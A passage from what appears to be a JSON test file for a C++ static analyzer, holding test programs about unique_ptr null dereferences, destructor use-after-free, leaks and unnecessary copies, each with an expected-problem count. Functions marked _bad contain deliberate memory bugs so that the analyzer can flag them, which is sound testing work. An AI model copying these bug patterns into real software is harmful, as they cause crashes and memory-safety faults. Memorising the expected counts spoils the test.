int(42);\n std::unique_ptr x(p);\n if (x.get() == p) {\n // Should not report a NPE here as x contains the pointer p\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint get1_bad() {\n std::unique_ptr x;\n int* p = x.get(); // no dereference\n if (!p) {\n // Should report a NPE here as p points to nullptr\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint empty_ptr_deref_bad() {\n std::unique_ptr x;\n return *x;\n}\n\nint empty_array_ptr_deref_bad() {\n std::unique_ptr x;\n return x[0];\n}\n\nint nullptr_ptr_deref_bad() {\n std::unique_ptr x(nullptr);\n return *x;\n}\n\nint nullptr_array_ptr_deref_bad() {\n std::unique_ptr x(nullptr);\n return x[2];\n}\n\nint empty_ptr_field_deref_bad() {\n std::unique_ptr x;\n return x.get()->field;\n}\n\nint empty_ptr_field_deref2_bad() {\n std::unique_ptr x;\n return x->field;\n}\n\nint empty_ptr_method_deref_bad() {\n std::unique_ptr x;\n return x->get();\n}\n\nint unique_ptr_create_use_ok() {\n std::unique_ptr x(new X());\n return x->get();\n}\n\nvoid unique_ptr_release0_bad() {\n std::unique_ptr x(new X());\n x.release();\n *x; // Should report a NPE here as x, after the release, contains a nullptr\n}\n\nvoid unique_ptr_release1_bad() {\n std::unique_ptr x(new X());\n x.release(); // Should report a memory leak since the object of X has not been\n // deallocated\n}\n\nint reset_ptr_null_deref_bad() {\n std::unique_ptr x(new int);\n x.reset();\n return *x;\n}\n\nvoid unique_ptr_release_get0_bad() {\n std::unique_ptr x(new X());\n if (x.get() != x.release()) {\n // Should not report a NPE here as both x.release() and x.get() return the\n // pointers contained in x\n *x; // x, after the release, contains a nullptr\n }\n // Should report a memory leak since the object of X has not been\n // deallocated\n}\n\nvoid unique_ptr_release_get1_bad() {\n std::unique_ptr x(new X());\n if (x.get() == x.release())\n // Should report a NPE here as both x.release() and x.get() return the\n // pointers contained in x\n {\n *x; // x, after the release, contains a nullptr\n }\n}\n\nint reset_ptr_null_deref2_bad() {\n std::unique_ptr x(new int);\n x.reset(new int);\n x.reset();\n return *x;\n}\n\nint reset_ptr_null_deref_ok() {\n std::unique_ptr x(new int);\n x.reset();\n return 42;\n}\n\nint reset_ptr_deref_ok() {\n std::unique_ptr x;\n x.reset(new int);\n return *x;\n}\n\nint reset_ptr_deref2_ok() {\n std::unique_ptr x;\n x.reset();\n x.reset(new int);\n return *x;\n}\n\nint unique_ptr_copy_null_deref_bad() {\n std::unique_ptr p1;\n std::unique_ptr p2 = std::move(p1);\n return *p2;\n}\n\nint unique_ptr_assign_null_deref_bad() {\n std::unique_ptr p1(new int);\n std::unique_ptr p2;\n p1 = std::move(p2);\n return *p1;\n}\n\nint unique_ptr_move_deref_ok() {\n std::unique_ptr p1(new int);\n std::unique_ptr p2 = std::move(p1);\n return *p2;\n}\n\nint unique_ptr_assign_deref_ok() {\n std::unique_ptr p1(new int);\n std::unique_ptr p2;\n p2 = std::move(p1);\n p1.reset();\n return *p2;\n}\n\nint unique_ptr_move_null_deref_bad() {\n std::unique_ptr p1(new int);\n std::unique_ptr p2 = std::move(p1);\n return *p1;\n}\n\nint unique_ptr_self_move_assignment_ok() {\n std::unique_ptr x(new int(42));\n x = std::move(x);\n return *x;\n}\n\nint unique_ptr_swap0_ok() {\n int* p1 = new int(1);\n int* p2 = new int(2);\n {\n std::unique_ptr x(p1);\n {\n std::unique_ptr y(p2);\n x.swap(y);\n }\n return *p2;\n }\n}\n\nint unique_ptr_swap0_bad() {\n std::unique_ptr p1(new int(1));\n std::unique_ptr p2(new int(2));\n p1.swap(p2);\n if (*p1 == 2 && *p2 == 1) {\n int* q = nullptr;\n return *q;\n }\n return *p1;\n}\n\nint unique_ptr_swap1_bad() {\n int* p1 = new int(1);\n int* p2 = new int(2);\n {\n std::unique_ptr x(p1);\n {\n std::unique_ptr y(p2);\n x.swap(y);\n }\n return *p1;\n }\n}\n\nint operator_bool0_ok() {\n std::unique_ptr x(new int);\n x.reset();\n if (x) {\n // Should not report a NPE here as x manages nullptr\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint operator_bool1_ok() {\n std::unique_ptr x;\n if (x) {\n // Should not report a NPE here as x manages nullptr\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint operator_bool0_bad() {\n std::unique_ptr x(new int);\n x.reset();\n if (!x) {\n // Should report a NPE here as x manages nullptr\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint operator_bool1_bad() {\n std::unique_ptr x;\n if (!x) {\n // Should report a NPE here as x manages nullptr\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\n// Deleter that doesn't actually call delete\ntemplate \nstruct Deleter {\n using pointer = T*;\n\n void operator()(pointer ptr) const {}\n};\n\n// leaky because the deleter doesn't delete the managed pointer\ntemplate \nusing leaky_unique_ptr = std::unique_ptr>;\n\nvoid no_delete_in_leaky_unique_ptr_bad() { leaky_unique_ptr p(new X()); }\n\n} // namespace unique_ptr\n" + }, + { + "testname": "unique_ptr_destructor.cpp", + "testlanguage": "c++", + "expected-problems": 31, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace destructor_unique_ptr {\nstruct X {\n int field;\n int* pointer_field;\n int get() { return field; }\n void set(int value) { field = value; }\n X() { pointer_field = new int; }\n ~X() { delete pointer_field; }\n};\n\nstruct Y {\n X* pointer_field;\n void leak() { pointer_field = new X(); }\n Y() { pointer_field = new X(); }\n ~Y() { delete pointer_field; }\n};\n\nint destructor0_ok() {\n auto x = new std::unique_ptr(new int(5));\n delete x;\n return 0;\n}\n\nint destructor1_ok_FP() {\n { std::unique_ptr(new int(5)); }\n return 0;\n}\n\nint destructor2_ok() {\n { std::unique_ptr p; }\n return 0;\n}\n\nint destructor3_ok() {\n auto x = new std::unique_ptr();\n delete x;\n return 0;\n}\n\nint destructor4_ok() {\n auto x = new std::unique_ptr(new X());\n delete x;\n return 0;\n}\n\nvoid destructor5_ok() {\n auto x = new std::unique_ptr(new Y());\n delete x;\n}\n\nint destructor6_ok() {\n auto x = std::unique_ptr(new Y());\n return 0;\n}\n\nvoid destructor7_ok() {\n auto x = std::unique_ptr(new Y());\n x.reset();\n}\n\nvoid destructor8_ok() {\n auto x = std::unique_ptr(new Y());\n x.reset(new Y());\n}\n\nint destructor0_bad() {\n auto p = new int(5);\n auto x = new std::unique_ptr(p);\n delete x;\n // Should report a NPE here as p has been deallocated\n return *p;\n}\n\nint destructor1_bad() {\n auto p = new int(5);\n { std::unique_ptr x(p); }\n // Should report a NPE here as p has been deallocated\n return *p;\n}\n\nX destructor2_bad() {\n auto p = new X();\n { std::unique_ptr x(p); }\n // Should report a NPE here as p has been deallocated\n return *p;\n}\n\nint destructor3_bad() {\n auto x = std::unique_ptr(new Y());\n x->leak(); // Should report a memory leak\n return 0;\n}\n\nint destructor4_bad() {\n auto x = std::unique_ptr(new Y());\n x->leak(); // Should report a memory leak\n x.reset();\n return 0;\n}\n\nint destructor5_bad() {\n auto x = std::unique_ptr(new Y());\n x.reset(new Y());\n x->leak(); // Should report a memory leak\n return 0;\n}\n\n} // namespace destructor_unique_ptr\n" + }, + { + "testname": "unknown_functions.cpp", + "testlanguage": "c++", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstruct X {\n ~X(){};\n void foo();\n};\n\nvoid unknown_init_ptr_by_ref(X** x);\nvoid unknown_no_init_ptr(X* const* x); // cannot init because const\n\nvoid init_ok() {\n X* p = nullptr;\n unknown_init_ptr_by_ref(&p);\n p->foo();\n}\n\nvoid const_no_init_bad() {\n X* p = nullptr;\n unknown_no_init_ptr(&p);\n p->foo();\n}\n\nvoid unknown_init_value_by_ref(X** x);\n\nvoid wrap_unknown_init(X** x) { unknown_init_value_by_ref(x); }\n\nvoid call_unknown_init_interproc_ok() {\n X* p = nullptr;\n wrap_unknown_init(&p);\n p->foo();\n}\n\nvoid unknown_with_pointer_formal(X* x);\n\nvoid wrap_unknown_no_init(X* x) { unknown_with_pointer_formal(x); }\n\nvoid call_init_with_pointer_value_bad() {\n X* p = nullptr;\n wrap_unknown_no_init(p);\n p->foo();\n}\n" + }, + { + "testname": "unnecessary_copy.cpp", + "testlanguage": "c++", + "expected-problems": 248, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"header.h\"\n\nstruct Arr {\n int arr[2];\n std::vector vec;\n};\n\nArr& get_a_ref() {\n static Arr a;\n return a;\n}\n\nauto global = get_a_ref();\n\nint copy_decl_bad() {\n auto a = get_a_ref(); // unnecessary copy, use a ref\n // call to copy constructor Arr::Arr(a, n$0)\n return a.arr[0];\n}\n\nint source_mod_ok() {\n Arr source;\n auto cpy = source;\n source.arr[0] = 9; // source is modified, so copy is not unnecessary as we\n // can't just add &\n return cpy.arr[0];\n}\n\nint source_mod_param_ok(Arr source) {\n auto cpy = source;\n source.arr[0] = 9; // source is modified, so copy is not unnecessary as we\n // can't just add &\n return cpy.arr[0];\n}\n\nvoid copy_in_branch_bad(bool b) {\n if (b) {\n Arr a;\n auto cpy = a;\n }\n}\n\nvoid copy_in_branch_mod_ok(bool b) {\n if (b) {\n Arr a;\n auto cpy = a;\n cpy.arr[0] = 8;\n }\n}\n\nvoid copy_outside_branch_mod_ok(bool b) {\n Arr a;\n auto cpy = a;\n if (b) {\n cpy.arr[0] = 8;\n }\n}\n\nvoid multiple_copies_bad(bool b) {\n Arr a;\n auto cpy1 = a; // unnecessary copy\n if (b) {\n auto cpy2 = cpy1; // unnecessary copy\n }\n}\n\nvoid modified_copy_decl_ok() {\n auto a = get_a_ref();\n a.arr[0] = 9; // copy modified here, it is not unnecessary\n}\n\n// Clang frontend doesn't properly translate array copy constructor\nvoid copy_via_constructor_bad_FN() {\n auto my_arr = Arr{{1, 2}}; // call to constructor\n auto c = my_arr; // copy\n c.arr[0] = 9;\n}\n\nint get_first_elem(Arr a) { return a.arr[0]; }\n\nvoid copy_via_constructor_read_bad() {\n auto my_arr = Arr{{1, 2}}; // call to constructor\n auto cpy_arr = my_arr; // copy\n get_first_elem(cpy_arr);\n}\n\nArr get_a() {\n Arr a;\n return a;\n}\n\nvoid set_to_zero(int arr[]) { arr[0] = 0; }\n\nvoid modified_interproc_copy_decl_ok() {\n auto a = get_a_ref();\n set_to_zero(a.arr); // copy modified here by callee, it is not unnecessary\n}\n\nvoid copy_vec_bad(std::vector vec) { auto cpy_vec = vec; }\n\nvoid copy_vec_mod_ok(std::vector vec) {\n auto cpy_vec = vec;\n cpy_vec.push_back(0);\n}\n\nclass Vec {\n\n public:\n std::vector vec;\n std::list my_list;\n\n Vec() {\n for (int i = 1; i <= 3; i++) {\n vec.push_back(i);\n }\n }\n\n Vec(const Vec& v) {\n for (int i = 1; i <= 3; i++)\n vec.push_back(v.get(i));\n }\n\n void setVec(std::vector my_vec) { vec = std::move(my_vec); }\n\n void intermediate_field_copy_ok() { setVec(vec); }\n\n int get(int i) const { return vec[i]; }\n\n void source_modified_via_unmodeled_ok() {\n auto arr = my_list.front(); // result of unknown call on source is copied\n my_list.pop_front();\n // when checking for modifications, we need to check that arr is propagated\n // from my_list which is modified\n }\n\n const std::vector& get_const_ref() const { return vec; }\n};\n\nvoid copy_own_vec_bad() {\n Vec vec;\n auto copied_own_vec = vec; // copy\n}\n\nvoid call_get_const_ref_ok(const Vec& v) { auto& x = v.get_const_ref(); }\n\nvoid call_get_const_ref_bad(const Vec& v) { auto x = v.get_const_ref(); }\n\n// copy created only in one branch\nvoid loop_via_copy_bad(std::vector& namesOfTheEntirePopulation) {\n for (const auto name :\n namesOfTheEntirePopulation) { // copies the name unnecessarily\n // use const auto&\n }\n}\n\n// as opposed to the above one, there is no copy here\nvoid loop_no_copy_ok(std::vector& namesOfTheEntirePopulation) {\n for (const auto& name : namesOfTheEntirePopulation) {\n }\n}\n\nArr& get_cond_arr_ref(Arr& arr1, Arr& arr2, bool cond) {\n if (cond) {\n return arr1;\n } else {\n return arr2;\n }\n}\n\nvoid copy_in_both_cases_bad(bool cond) {\n Arr arr1;\n Arr arr2;\n auto cpy = get_cond_arr_ref(arr1, arr2, cond); // call to copy ctor\n}\n\n// We can't detect this case because we only keep track of one source\n// (arr's abstract value) but in two brances they point to two\n// different addresses, making us think that one of them is modified\nvoid copy_in_both_cases_aliasing_bad_FN(bool cond) {\n Arr arr;\n auto cpy = get_cond_arr_ref(arr, arr, cond); // call to copy ctor\n}\n\nvoid copy_in_both_cases_mod_ok(bool cond) {\n Arr arr1;\n Arr arr2;\n auto cpy = get_cond_arr_ref(arr1, arr2, cond); // call to copy ctor\n cpy.arr[0] = 9;\n}\n\nvoid copy_in_both_cases_source_mod_ok(bool cond) {\n Arr arr1;\n Arr arr2;\n auto cpy = get_cond_arr_ref(arr1, arr2, cond); // call to copy ctor\n arr1.arr[0] = 9;\n}\n\nvoid copy_in_both_cases_branch_bad(bool cond) {\n Arr arr1;\n Arr arr2;\n auto cpy = get_cond_arr_ref(arr1, arr2, true); // call to copy ctor\n}\n\nvoid copy_modified_after_abort_ok(std::vector source_vec) {\n auto cpy = source_vec;\n std::vector vec(2);\n int* elt = &vec[1];\n vec.push_back(0);\n int temp = *elt; // abort: vector invalidation, so non-disjunctive\n // value becomes top\n cpy.push_back(0);\n}\n\nnamespace ns {\n\ntemplate \nX creates_copy(X a) {\n return X{a};\n}\n} // namespace ns\n\nvoid copy_via_model_bad(Arr arr) {\n auto cpy = ns::creates_copy(arr); // creates copy (via model)\n}\n\nvoid source_modified_before_lib_destructor_ok(std::vector& source_vec) {\n auto cpy = source_vec;\n source_vec[0] = 0;\n}\n\nvoid copy_modified_before_lib_destructor_ok(std::vector& source_vec) {\n auto cpy = source_vec;\n cpy[0] = 0;\n}\n\nclass String {\n private:\n char* text;\n int size;\n\n public:\n int x;\n ~String() { delete[] text; } // destructor\n void set_size(int new_size) { size = new_size; }\n};\n\nvoid check_before_custom_destructor_bad(String s) { auto cpy = s; }\n\nvoid modified_before_custom_destructor_ok(String s) {\n auto cpy = s;\n cpy.set_size(10);\n}\n\nint get_size(String s) { return s.x; }\nvoid check_no_move_op_bad(String arg) {\n int x = get_size(std::move(arg)); // String has no auto-generated move\n // constructor so there is no move here!\n}\n\nvoid copy_vec_name_contains_copy_ok(std::vector vec) {\n auto copy_vec = vec;\n} // variable contains \"copy\", hence warning should be suppressed\n\nvoid set_erase_ok(std::set source) {\n auto cpy = source;\n cpy.erase(3); // unmodeled call assumes all non-const ptr args are modified\n}\n\nvoid source_const_fcn_bad(std::set source) {\n auto cpy = source;\n int count =\n source.count(3); // count is a const function which doesn't modify this*\n}\n\nvoid source_dispatch_const_fcn_bad(const std::set& source) {\n auto cpy = source;\n auto it = source.find(3); // const find is dispatched since argument is const\n}\n\nvoid source_dispatch_non_const_fcn_bad(std::set source) {\n auto cpy = source;\n auto it = source.find(3);\n}\n\nvoid iterator_ptr_modified_ok(const std::vector& numbers) {\n auto lDataValues = numbers;\n std::sort(lDataValues.begin(), lDataValues.end());\n}\n\nstruct SimpleS {\n int a;\n std::vector vec;\n};\n\nstruct SwapSimple {\n SimpleS v;\n void swap_bad_FN(SwapSimple& x) {\n const auto temp = v;\n v = x.v;\n x.v = temp; // report copy assignment from const\n }\n};\n\nstruct SwapVector {\n std::vector v;\n void swap_bad_FN(SwapVector& x) {\n const auto temp = v;\n v = x.v;\n x.v = temp; // report copy assignment from const\n }\n};\n\nvoid capture_by_value_ok(SimpleS arg) {\n auto f = [c = arg]() mutable { c.a = 19; };\n}\n\n// NOTE: Currently we do not support unnecessary capture-by-value in lambda.\nvoid capture_by_value_bad_FN(SimpleS arg) {\n auto f = [c = arg]() { int n = c.a; };\n}\n\nvoid constructor_bad() {\n std::vector source;\n auto cpy = source;\n}\n\n// We can't detect this due to aliasing problem when we analyze the source code\n// of shared ptr copy ctor\nvoid shared_ptr_bad_FN(std::shared_ptr source) { auto c = source; }\n\nvoid copy_assignment_bad(std::set source) {\n std::set init_set; // default constructor is called\n init_set = source; // copy assignment operator is called\n}\n\nvoid copy_assignment_ok(std::set source) {\n std::set init_set; // default constructor is called\n init_set = source; // copy assignment operator is called\n source.insert(1); // source modified\n}\n\nvoid move_assignment_ok(std::set source) {\n std::set init_set; // default constructor is called\n init_set =\n std::move(source); // move assignment operator is called, no copy created\n}\n\nvoid get_rvalue_ref(std::set&& x) {}\n\nvoid copy_and_move_bad(std::set source) {\n std::set c = source;\n get_rvalue_ref(std::move(c)); // We can move source without copy.\n}\n\nvoid copy_and_move_const_ref_ok(const std::set& source) {\n std::set c = source;\n get_rvalue_ref(std::move(c));\n}\n\nstruct TriviallyCopyable {\n int a;\n float f;\n int* p;\n};\n\nvoid copy_trivially_copyable_ok(TriviallyCopyable source) {\n TriviallyCopyable c = source;\n}\n\nclass WrapperArr {\n\n explicit WrapperArr(const Arr& internal_arr) : hidden_arr_(internal_arr) {}\n\n // unnecessary copy into hidden_arr_, it should be moved\n explicit WrapperArr(Arr&& internal_arr) : hidden_arr_(internal_arr) {}\n\n const Arr getArr() const { return hidden_arr_; }\n\n private:\n Arr hidden_arr_;\n\n void unnecessary_copy_moveable_bad(Arr&& a) {\n hidden_arr_ = a;\n hidden_arr_.arr[0] = 9; // it is ok that the copy is modified since it has\n // the ownership of the object.\n }\n\n void unnecessary_copy_moveable_source_mod_ok(Arr&& a) {\n hidden_arr_ = a;\n a.arr[0] = 9; // we cannot suggest move above as source is modified\n }\n\n void unnecessary_copy_moveable_copy_mod_bad(Arr&& a) {\n hidden_arr_ = a;\n hidden_arr_.arr[0] = 9; // copy can be modified since it will have the\n // ownership of the object.\n }\n\n void copy_assignment_from_this_ok() {\n Arr local_arr; // default constructor is called\n local_arr = hidden_arr_; // copy assignment operator is called but it is\n // from a member field which cannot be moved.\n }\n};\n\nnamespace my_proj {\nstruct CheapToCopy {\n std::vector vec;\n};\n\nvoid cheap_to_copy_ok(CheapToCopy source) { auto c = source; }\n}; // namespace my_proj\n\nvoid unnecessary_copy_initializer_list(std::vector c1,\n std::vector c2) {\n for (const auto& c : {c1, c2}) {\n }\n // fix here is not to add & but use ptrs\n // for (const auto* c : { &c1, &c2 }) // use *c\n}\n\nclass LockedPtr {};\n\nclass MyValueOr {\n bool b;\n Arr& value;\n std::shared_ptr shared_ptr;\n LockedPtr lock();\n LockedPtr rlock();\n\n public:\n MyValueOr();\n\n Arr value_or(const Arr& default_value) const {\n if (b) {\n return value;\n } else {\n return default_value;\n }\n }\n\n Arr get_arr_implicit_cpy() const { return get_a_ref(); }\n\n std::shared_ptr cpy_shared_ptr() const { return shared_ptr; }\n\n Arr intentional_copy() const { return get_a_ref(); }\n\n Arr intentional_cpy_under_lock() {\n auto l = lock();\n return value;\n }\n\n Arr intentional_cpy_under_rlock_ok() {\n auto l = rlock();\n auto result = value;\n return result;\n }\n\n Arr no_cpy_NRVO() const {\n Arr x;\n return x;\n }\n\n void suppress_intentional_cpy_under_lock(Arr src) {\n auto l = lock();\n auto tgt = src;\n }\n};\n\nvoid call_value_or_bad(const MyValueOr& c) {\n const static Arr f{};\n Arr g = c.value_or(f);\n}\n\nvoid call_value_or_ok(const MyValueOr& c) {\n const static Arr f{};\n Arr g = c.value_or(f);\n g.arr[0] = 42;\n}\n\nvoid call_get_arr_implicit_cpy_bad(const MyValueOr& c) {\n Arr g = c.get_arr_implicit_cpy();\n}\n\nvoid call_cpy_shared_ptr_ok(const MyValueOr& c) { auto g = c.cpy_shared_ptr(); }\n\nvoid call_intentional_copy_ok(const MyValueOr& c) {\n auto g = c.intentional_copy();\n}\n\nvoid call_intentional_cpy_under_lock_ok(MyValueOr c) {\n auto g = c.intentional_cpy_under_lock();\n}\n\nvoid call_no_cpy_NRVO_ok(const MyValueOr& c) { auto g = c.no_cpy_NRVO(); }\n\nclass ClassWithoutConstructDef {\n int __internal_field;\n std::vector __internal_vec;\n\n // we should detect copy assignment and suggest a move into the field\n void field_setter_bad(std::vector vec) {\n __internal_vec = vec; // copy assignment\n }\n\n public:\n ClassWithoutConstructDef(const ClassWithoutConstructDef& src);\n int* get_field_ref() { return &__internal_field; }\n};\nvoid assign_value_unknown(int* ref, int v);\n\nvoid modify_by_unknown_ok(const ClassWithoutConstructDef& src) {\n ClassWithoutConstructDef tgt = src;\n assign_value_unknown(tgt.get_field_ref(), 42);\n}\n\nvoid call_unknown_constructor_twice_ok(const ClassWithoutConstructDef& src) {\n ClassWithoutConstructDef tgt = src;\n assign_value_unknown(tgt.get_field_ref(), 42);\n ClassWithoutConstructDef dummy = tgt;\n assign_value_unknown(dummy.get_field_ref(), 42);\n}\n\n#define LOCAL_MACRO(accessor) \\\n { auto cpy = (accessor); }\n\nvoid foo(std::vector my_vec) { LOCAL_MACRO(my_vec); }\n\nclass CopiedToField1_Bad {\n Arr field;\n\n public:\n CopiedToField1_Bad(Arr a) : field(a) {}\n};\n\nclass CopiedToField1_Ok {\n Arr field;\n\n public:\n CopiedToField1_Ok(Arr a) : field(std::move(a)) {}\n};\n\nclass CopiedToField2_Bad {\n Arr field;\n\n public:\n CopiedToField2_Bad(Arr a) { field = a; }\n};\n\nclass CopiedToField2_Ok {\n Arr field;\n\n public:\n CopiedToField2_Ok(Arr a) { field = std::move(a); }\n};\n\nstruct Arrs {\n Arr a;\n Arr b;\n};\n\nclass CopiedToField3_Last_Bad {\n Arrs field1;\n Arr field2;\n\n public:\n // last copy could be avoided\n CopiedToField3_Last_Bad(Arrs as) {\n field1 = as;\n field2 = as.a;\n }\n};\n\nclass PassedToUnknown_Bad {\n Arr field;\n\n static void unknown(Arr a);\n\n public:\n PassedToUnknown_Bad(Arr a) { unknown(a); }\n};\n\nclass PassedToUnknown_Ok {\n Arr field;\n\n static void unknown(Arr a);\n\n public:\n PassedToUnknown_Ok(Arr a) { unknown(std::move(a)); }\n};\n\nclass PassedToUnknownRef_Bad {\n Arr field;\n\n static void unknown(const Arr& a);\n\n public:\n // Ideally, the parameter can be changed to const-ref, but this pattern is not\n // common in practice. The test is just for showing checker's behavior.\n PassedToUnknownRef_Bad(Arr a) { unknown(a); }\n};\n\nclass CopiedToMultipleField_Last_Bad {\n Arr field1;\n Arr field2;\n\n public:\n // Ideally, the last copy can be avoided by std::move, but this pattern is not\n // common in practice. The test is just for showing checker's behavior.\n CopiedToMultipleField_Last_Bad(Arr a) : field1(a), field2(a) {}\n};\n\nvoid global_setter_ok(const Arr& arr) {\n global = arr; // don't suggest std::move(arr) due to const\n}\n\nvoid modify_arg(std::vector arg) { arg.push_back(42); }\n\nvoid intermediate_copy_modified_unused_bad(std::vector input) {\n modify_arg(input); // copy from input to an intermediate which is modified\n // input is never used so it is ok to suggest move\n}\n\nint intermediate_copy_modified_used_ok(std::vector input) {\n modify_arg(input); // copy from input to an intermediate which is modified\n return input.size(); // input is used, we can't trivially suggest move without\n // also moving its uses to before the copy is made which\n // might hurt performance if accesses are conditional.\n // Better don't report.\n}\n\nvoid intermediate_copy_modified_local_unused_bad() {\n std::vector input = {0};\n input.push_back(1);\n modify_arg(input); // copy from input to an intermediate which is modified\n // input is never used so it is ok to suggest move\n}\n\nint intermediate_copy_modified_local_used_ok() {\n std::vector input = {0};\n modify_arg(input); // copy from input to an intermediate which is modified\n return input[0];\n}\n\nint intermediate_local_copy_used_ok() {\n Arr input;\n int x = get_first_elem(input); // copy from input to an intermediate\n input.arr[0] = 0; // can't suggest moving input as it is used\n return x;\n}\n\nvoid copy_assignment_const_ref_member_ok(const Arr& arr) {\n std::vector my_vec;\n my_vec = arr.vec;\n}\n\nvoid copy_assignment_const_value_param_bad(const Arr arr) {\n Arr my_arr;\n my_arr = arr; // fix here is to remove const from param type\n}\n\nvoid copy_assignment_const_ref_param_ok(const Arr& arr) {\n Arr my_arr;\n const Arr& c = arr;\n my_arr = c;\n}\n\nint intermediate_copy_assignment_const_ref_ok(const Arr& arr) {\n const auto& c = arr;\n return get_first_elem(c);\n}\n\nint intermediate_copy_assignment_const_value_bad(const Arr arr) {\n return get_first_elem(arr); // fix here is to remove const from param type\n}\n\nstruct Wrapper {\n Arr my_field;\n const Arr& get_const_ref();\n\n void intermediate_const_ref_callee_ok() { get_first_elem(get_const_ref()); }\n\n void assignment_const_ref_ok() { my_field = get_const_ref(); }\n};\nclass FVector {\n\n FVector(FVector const& rhs) {\n table_ = rhs.table_; // don't report on copy ctors\n }\n\n FVector& operator=(FVector const& rhs) {\n if (this != &rhs) {\n table_ = rhs.table_; // don't report on copy ctors\n }\n return *this;\n }\n\n protected:\n std::vector table_;\n};\n\nvoid call_templated_func_specialized_int(const std::vector& arg) {\n copy_in_header_bad(arg);\n}\n\nvoid call_templated_func_specialized_string(\n const std::vector& arg) {\n copy_in_header_bad(arg);\n}\n\nclass NonTrivialCopyClass {\n\n public:\n NonTrivialCopyClass& operator=(const NonTrivialCopyClass& rhs) {\n if (this == &rhs) {\n return *this;\n }\n return *this;\n }\n\n private:\n long my_int1_;\n long my_int2_;\n};\n\nclass NonTrivialCopySmallClass {\n public:\n NonTrivialCopySmallClass& operator=(const NonTrivialCopySmallClass& rhs) {\n if (this == &rhs) {\n return *this;\n }\n return *this;\n }\n\n private:\n int my_int1_;\n};\n\nclass FieldCopyClass {\n\n public:\n Arr my_arr1_;\n Arr my_arr2_;\n NonTrivialCopyClass nt_;\n NonTrivialCopySmallClass nt_small_;\n\n void set_field_ok(Arr arg) {\n my_arr1_ = my_arr2_; // rhs is a field, we cannot suggest move\n }\n\n void copy_assign_bad(NonTrivialCopyClass arg) { nt_ = arg; }\n\n void copy_assign_small_ok(NonTrivialCopySmallClass arg) { nt_small_ = arg; }\n\n void copy_assign_from_global_ok() {\n my_arr1_ = global; // rhs is a global, we cannot suggest move\n }\n\n FieldCopyClass* getPtr() { return this; }\n void copy_assign_from_this_pointed_ok() {\n auto t = getPtr();\n my_arr1_ = t->my_arr1_;\n }\n};\n\nvoid intermediate_copy_global_ok() {\n get_first_elem(global); // we cannot suggest moving global\n}\n\nclass CopyConstructGlobalOk {\n Arr my_arr;\n\n public:\n CopyConstructGlobalOk() : my_arr(global) {}\n};\n\nvoid copy_from_global_bad(bool b) { auto x = b ? global : global; }\n\nclass CopyConstructFromRefOk {\n Arr my_arr;\n\n public:\n CopyConstructFromRefOk(Arr& arr) : my_arr(arr) {}\n};\n\nclass CopyConstructFromRefBad1 {\n Arr my_arr;\n\n public:\n CopyConstructFromRefBad1(Arr arr) : my_arr(arr) {}\n};\n\nclass CopyConstructFromRefBad2 {\n Arr my_arr;\n\n public:\n CopyConstructFromRefBad2(Arr&& arr) : my_arr(arr) {}\n};\n\nstd::map unreliable_source_ok(\n const std::map& input) {\n auto modified = input; // the source of `modified` was `input` in the copy map\n for (const auto& elem : input) {\n modified[elem.first] = \"abc\";\n }\n return modified;\n // the source of `modified` was `__range` from the for loop iteration, thus it\n // did not correctly check `modified` is modified.\n}\n\nvoid copy_assignment_from_lvalue_ref_ok_intermediate_bad(std::string& str,\n Arr arr) {\n std::string s;\n s = str; // no report here since we can't safely move str without affecting\n // callees\n int res = get_first_elem(arr); // we still wanna report here\n}\n\nvoid normal_copy_from_lvalue_ref_bad(std::string& str) {\n auto f = str; // still report here\n}\n\nvoid intermediate_copy_from_lvalue_ref_ok(Arr& arr) {\n get_first_elem(arr); // don't report since we can't safely move str without\n // affecting callees\n}\n\nvoid intermediate_copy_from_pointer_ok(Arr* arr) { get_first_elem(*arr); }\n\nstd::string unknown_modification_twice_ok(std::string p) {\n std::string path = p;\n std::replace(path.begin(), path.end(), '\\\\', '/');\n return path;\n}\n\nvoid assert_false(\n const std::string& s) { // summary for this results in 0 disjuncts\n assert(false);\n};\n\nstruct NonDisjJoin_ok {\n\n NonDisjJoin_ok(std::string myStr, int k) : NonDisjJoin_ok(myStr) {\n if (k > 0) {\n assert_false(myStr);\n } // here we were joining 0 disjuncts (with NonDisj.bottom) with Foo(myStr)\n // which resulted in ignoring the read of myStr in the conditional. Fixed\n // now.\n }\n\n NonDisjJoin_ok(std::string s) {}\n};\n\nstruct NonDisjJoinLoop_ok_FP {\n\n NonDisjJoinLoop_ok_FP(std::string myStr, int k)\n : NonDisjJoinLoop_ok_FP(myStr) {\n for (int i = 0; i < k; i++) {\n assert_false(myStr);\n } // still doesn't work. TODO\n }\n\n NonDisjJoinLoop_ok_FP(std::string s) {}\n};\n\nstruct Ptr {\n int* ptr;\n std::vector vec;\n};\n\nPtr* get_unknown_ptr_field();\n\nPtr global_ptr;\nclass UnownedTest {\n Arr field;\n Ptr ptr_field;\n std::vector vec_field;\n int* ptr;\n\n void copy_assignment_points_to_global_ok() {\n auto& ref = global;\n field = ref; // we can't suggest moving here\n }\n\n void copy_assignment_copy_of_global_bad() {\n auto ref = global;\n field = ref; // moving is ok here\n }\n\n Arr* get_global_ptr() { return &global; }\n\n void copy_assignment_via_callee_points_to_global_ok() {\n auto& ref = get_global_ptr()->vec;\n vec_field = ref; // we can't suggest moving here\n }\n\n void copy_assignment_points_to_ref_param_ok(Arr& param) {\n auto& ref = param;\n field = ref; // we can't suggest moving here\n }\n\n void intermediate_copy_points_to_global_ok() {\n auto& ref = global;\n get_first_elem(ref);\n }\n\n void intermediate_copy_copy_of_global_bad() {\n auto ref = global;\n get_first_elem(ref); // ok to move here\n }\n\n void intermediate_copy_via_callee_points_to_global_ok() {\n auto& ref = get_global_ptr()->vec;\n modify_arg(ref); // we can't suggest moving 